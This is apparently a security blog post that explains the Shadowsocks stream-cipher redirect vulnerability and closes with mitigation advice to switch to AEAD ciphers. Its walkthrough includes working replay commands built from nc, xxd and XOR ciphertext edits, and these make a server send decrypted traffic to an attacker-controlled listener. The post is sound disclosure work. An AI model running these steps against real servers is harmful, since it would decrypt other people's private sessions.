Zhiniang Peng (@edwardz246003) of Qihoo 360 Core Security has discovered and dis…closed a devastating vulnerability in Shadowsocks stream ciphers. Under modest assumptions, an attacker can get *full decryption* of recorded Shadowsocks sessions, without knowing the password.
[Redirect attack on Shadowsocks stream ciphers (PDF)](https://github.com/edwardz246003/shadowsocks/raw/master/Redirect%20attack%20on%20Shadowsocks%20stream%20ciphers.pdf) ([archive](https://web.archive.orgweb/20200225060542/https://raw.githubusercontent.com/edwardz246003/shadowsocks/master/Redirect%20attack%20on%20Shadowsocks%20stream%20ciphers.pdf))
[Home page with Python proof of concept](https://github.com/edwardz246003/shadowsocks) ([archive](https://web.archive.org/web/20200212111257/https://github.com/edwardz246003/shadowsocks))
This post is my attempt to explain the vulnerability as I understand it.
The attack works by using the Shadowsocks server as a decryption oracle, causing it to decrypt a previously recorded encrypted stream and send the plaintext to a target controlled by the attacker. The attack is possible under the following conditions:
* The Shadowsocks server must be configured to use one of the [stream ciphers](https://shadowsocks.org/en/spec/Stream-Ciphers.html). The attack relies on modifying recorded ciphertexts, so it does not work with [AEAD ciphers](https://shadowsocks.org/en/spec/AEAD-Ciphers.html).
* The attacker must be in a position to record an encrypted Shadowsocks connection; i.e., must be on the network path between the Shadowsocks client and the Shadowsocks server.
* The Shadowsocks server must still be running, with the same password.
* The attacker must be able to guess the first 7 bytes of the plaintext.
The attacker does not need to know the Shadowsocks password. The attacker relies on the fact that the Shadowsocks server *does* know the password, and tricks the server into decrypting a message and sending it where the attacker can read it.
## How Shadowsocks stream ciphers work
The client and server derive a shared symmetric encryption key from a password. The key never changes: it is the same for every connection and in both directions.
The client sends to the server a random initialization vector (IV), an encrypted target specification, and an encrypted payload that the server should decrypt and send to the target.
```
[ client IV ][ target ][ upstream payload ...
```
The server decrypts the target specification using the client's IV and the shared key. If the target specification is syntactically valid, the server connects to the target, then starts decrypting the client's payload and forwarding the plaintext to the target. Whatever the target sends back, the server encrypts and sends back to the client, under a separate random IV.
```
[ server IV ][ downstream payload ...
```
A target specification is 7 bytes long. The first byte is the static value 1; the next 4 bytes are an IPv4 address; and the last 2 bytes are a port number. (For simplicity, we will only look at IPv4 targets. Actually there are [two other target specification formats](https://shadowsocks.org/en/spec/Protocol.html): type 4 is an IPv6 address (19 bytes total) and type 3 is a hostname (variable length).)
```
|type| IPv4 address | port |
+----+----+----+----+----+----+----+
| 1 | A.B.C.D | XXYY |
+----+----+----+----+----+----+----+
```
Stream ciphers have no integrity checks. Whatever you send to the server, it will decrypt, and if the first 7 bytes after the IV happen to decrypt to a valid target specification, the server will connect to that target and *send it the decryption of the rest of the stream*. This means, for example, that if you connect to a Shadowsocks server and just send it random bytes, with probability 1/256 the first byte will decrypt to a `1`, which is all that is required for a target specification to be syntactically valid. When that happens, the Shadowsocks will decrypt the rest of the stream and send the plaintext... *somewhere*. Where? To whatever random IPv4 address and port the other 6 bytes of the target specification happen to decrypt to.
Stream ciphers are also [malleable](https://en.wikipedia.org/wiki/Malleability_\(cryptography\)). This means that if you XOR a value into the ciphertext, that same value will be XORed into the plaintext after decryption.
## Attack walkthrough
I'll walk through the process of decrypting a recorded stream in the server→client direction. That direction is easier because it's easier to guess the first 7 bytes of the plaintext.
Let's set up a local Shadowsocks server and client using [the Python implementation](https://github.com/shadowsocks/shadowsocks/tree/master).
```
shadowsocks/server.py -s 127.0.0.1 -p 8388 -k password -m aes-256-cfb
shadowsocks/local.py -s 127.0.0.1 -p 8388 -k password -m aes-256-cfb -l 1080
```
Now start capturing traffic and request a web page through the Shadowsocks client.
```
tcpdump -i lo -U -w shadowsocks.pcap port 8388
curl -4 -x socks5://127.0.0.1:1080/ http://example.com/
```
From the traffic capture we get the encrypted server→client stream:
```
d57aa290e7d6ac989897c15acfab0e897c20f534e986dbce37f555c6760ea24f
aa928f760db22438c8963c57e83b36fec4933f3785e2c37cd4fb25e0a4047c08
84742bcb00f19493a6ea4d5c0874f7f869b31052a9d058c5427e7ccec47b568f
4c131915550b0c5e1ccafc99f0a77923e2af4ad2606ad9876ecae789b61ea225
...
```
What happens if we replay this ciphertext to the server with no changes? (Note, this is an unusual type of replay attack: we are sending the server's own output back to it. Remember, the encryption key in both directions is the same. The `xxd -r -p` command converts hex to binary.)
```
echo d57aa290e7d6ac989897c15acfab0e897c20f534e986dbce37f555c6760ea24f \
aa928f760db22438c8963c57e83b36fec4933f3785e2c37cd4fb25e0a4047c08 \
84742bcb00f19493a6ea4d5c0874f7f869b31052a9d058c5427e7ccec47b568f \
4c131915550b0c5e1ccafc99f0a77923e2af4ad2606ad9876ecae789b61ea225 \
| xxd -r -p | nc 127.0.0.1 8388
```
The connection fails and the server outputs an error, `unsupported addrtype 72`:
```
WARNING unsupported addrtype 72, maybe wrong password or encryption method
ERROR can not parse header
```
What is addrtype 72? 72 is the ASCII code for `H`. The server has decrypted the ciphertext—getting a plaintext that starts with `HTTP/1.1 200 OK`—and interpreted the first 7 bytes, `HTTP/1.`, as a target specification. But the first byte of a target specification is supposed to be 1, not 72. Therefore the target specification is not valid and the server rejects the connection.
What if we modify the 17th byte? That the first byte after the IV, corresponding to the `type` field of the target specification. Its original value is 0x7c, which we know decrypts to 72. The stream cipher is malleable, so anything we XOR into the ciphertext will also be XORed into the plaintext. If we XOR 0x7c with 72, then instead of decrypting to 72, it should decrypt to 0. Try changing the 17th byte from 0x7c to 0x34 (which is 0x7c XOR 72):
```
↓↓
echo d57aa290e7d6ac989897c15acfab0e893420f534e986db \
| xxd -r -p | nc 127.0.0.1 8388
```
The server decrypts an addrtype 0, as expected.
```
WARNING unsupported addrtype 0, maybe wrong password or encryption method
ERROR can not parse header
```
Now what if we additionally XOR in a value of 1, so that the byte decrypts to 1?
0x34 XOR 1 = 0x35.
```
↓↓
echo d57aa290e7d6ac989897c15acfab0e893520f534e986db \
| xxd -r -p | nc 127.0.0.1 8388
```
Now the server gets an addrtype 1, so it thinks it has an IPv4 address specification. The server tries to make a connection to... *somewhere*.
```
INFO connecting 84.84.80.47:12590
```
What is the address 84.84.80.47:12590? It's just the 6 bytes `TTP/1.`, interpreted as an IPv4 address and port: 84 = `T`, 84 = `T`, 80 = `P`, 47 = `/`, etc. The Shadowsocks server has connected to some target and sent it the decryption of a previously recorded encrypted stream.
We exploited ciphertext malleability to cause the first byte of the target specification to decrypt to 1. We can do the same thing with the other 6 bytes to make them decrypt to the address of a target we control. Let's say our address is 203.0.113.5:8000. We take the 6 bytes of the ciphertext that represent the address:
```
20f534e986db
```
and XOR them with `TTP/1.` (= `5454502f312e`):
```
20f534e986db XOR 5454502f312e = 74a164c6b7f5
```
(If the server were to decrypt `74a164c6b7f5`, it would decrypt to `000000000000`.) We take that result and additionally XOR it with the bytes of our address (203.0.113.5:8000 = `cb0071051f40`):
```
74a164c6b7f5 XOR cb0071051f40 = bfa115c3a8b5
```
Replace those 6 bytes in the ciphertext, along with the `type` byte we already changed, then append the rest of the ciphertext. The `sleep 1` is to force `nc` to send the target specification and payload in separate packets, which is a requirement of `server.py`.
```
↓↓↓↓↓↓↓↓↓↓↓↓↓↓
(echo d57aa290e7d6ac989897c15acfab0e8935bfa115c3a8b5 \
| xxd -r -p; \
sleep 1; \
echo ce37f555c6760ea24faa928f760db22438c8963c57e83b36fec4933f3785e2c3 \
7cd4fb25e0a4047c0884742bcb00f19493a6ea4d5c0874f7f869b31052a9d058 \
c5427e7ccec47b568f4c131915550b0c5e1ccafc99f0a77923e2af4ad2606ad9 \
| xxd -r -p) | nc 127.0.0.1 8388
```
The server output shows that the address was successfully changed:
```
INFO connecting 203.0.113.5:8000
```
We can run a listener at 203.0.113.5:8000 to receive the decryption. The `HTTP/1.` is missing, because that part was interpreted as a target specification. After the `1 200 OK\r`, one block (16 bytes) is garbage, because of how CFB mode works. But everything after that is pristine plaintext. In CTR mode there is no garbage block.
```
nc -l 8000 | xxd
00000000: 3120 3230 3020 4f4b 0df5 0baf c709 8c8d 1 200 OK........
00000010: ed6e 360e 19da ce80 1b62 7974 6573 0d0a .n6......bytes..
00000020: 4167 653a 2034 3134 3631 310d 0a43 6163 Age: 414611..Cac
00000030: 6865 2d43 6f6e 7472 6f6c 3a20 6d61 782d he-Control: max-
00000040: 6167 653d 3630 3438 3030 0d0a 436f 6e74 age=604800..Cont
00000050: 656e 742d 5479 7065 3a20 7465 7874 2f68 ent-Type: text/h
```
To recap: the attacker has an encrypted stream but doesn't know the key. The Shadowsocks server *does* know the key, and is willing to decrypt whatever you send it and send the plaintext *somewhere*. By modifying the first 7 bytes of the ciphertext, the attacker can control that *somewhere* and make it point to a target under its own control. The modification the attacker needs to do is *ciphertext* XOR *plaintext* XOR *attacker's address*.
### Decrypting the client→server direction
The server→client direction is relatively easy to attack, because many common server protocols start with the same bytes (e.g. `HTTP/1.` for HTTP), or have only a small number of bytes that need to be [brute-forced](https://github.com/edwardz246003/shadowsocks/blob/ba5df18abf6792d0599c36a9e6c3398e7d0c1fd8/attack2_with_https_pocket.py#L28-L47) (e.g. `\x16\x03???\x02\x00` for TLS).
In the client→server direction, the attacker again has to guess the first 7 bytes of the plaintext. The first 7 bytes sent by the client will always be part of a [target specification](https://shadowsocks.org/en/spec/Protocol.html). One option is to first decrypt the server→client direction, and use that information to infer what the original target was. For example, if the contents of the response indicate that the target was example.com, the attacker can see that example.com is at the address 93.184.216.34:80 and guess `015db8d8220050` for the plaintext using an IPv4 target specification, or guess `030b6578616d70` (`\x03\x0bexamp`) using a hostname target specification.
If the server happens to use a [CFB mode](https://en.wikipedia.org/wiki/Block_cipher_mode_of_operation#Cipher_Feedback_\(CFB\)) stream cipher, it is even easier. The attacker can send the modified replay of the server→client stream as before, then simply append the client→server stream. Because of CFB's self-synchronizing behavior, the Shadowsocks server will start to output the plaintext of the client→server stream, after one block of garbage.
## Mitigation
The attack only works against Shadowsocks [stream ciphers](https://shadowsocks.org/en/spec/Stream-Ciphers.html), not [AEAD ciphers](https://shadowsocks.org/en/spec/AEAD-Ciphers.html). AEAD ciphers have integrity protection, so an attacker cannot modify and replay ciphertexts.
<dl>
<dt>Stream ciphers (BAD)</dt>
<dd><code>aes-128-ctr</code>, <code>aes-192-ctr</code>, <code>aes-256-ctr</code>, <code>aes-128-cfb</code>, <code>aes-192-cfb</code>, <code>aes-256-cfb</code>, <code>camellia-128-cfb</code>, <code>camellia-192-cfb</code>, <code>camellia-256-cfb</code>, <code>chacha20-ietf</code>, <code>bf-cfb</code>, <code>chacha20</code>, <code>salsa20</code>, <code>rc4-md5</code></dd>
<dt>AEAD ciphers (OK)</dt>
<dd><code>chacha20-ietf-poly1305</code>, <code>aes-256-gcm</code>, <code>aes-192-gcm</code>, <code>aes-128-gcm</code></dd>
<dl>
If you use Shadowsocks, make sure you are using an AEAD cipher and not a stream cipher. If you don't know what cipher you are using, look for a file called config.json and look for something like `"method":"aes-256-cfb"`. Ideally, use a Shadowsocks implementation like [Outline](https://getoutline.org/) that does not even support stream ciphers.
It is hard to overstate the risk. As long as a Shadowsocks server is running with stream ciphers and the same password, all its past and future sessions are vulnerable to decryption.
## Links
@LeadroyaL has written an explanation of the attack in Chinese, with a Python implementation:
* [shadowsocks redirect attack exploit](https://github.com/LeadroyaL/ss-redirect-vuln-exp) ([archive](https://web.archive.org/web/20200225195700/https://github.com/LeadroyaL/ss-redirect-vuln-exp))
* [ss协议漏洞的复现和利用](https://www.leadroyal.cn/?p=1036) ([archive](https://web.archive.org/web/20200225195818/https://www.leadroyal.cn/?p=1036))
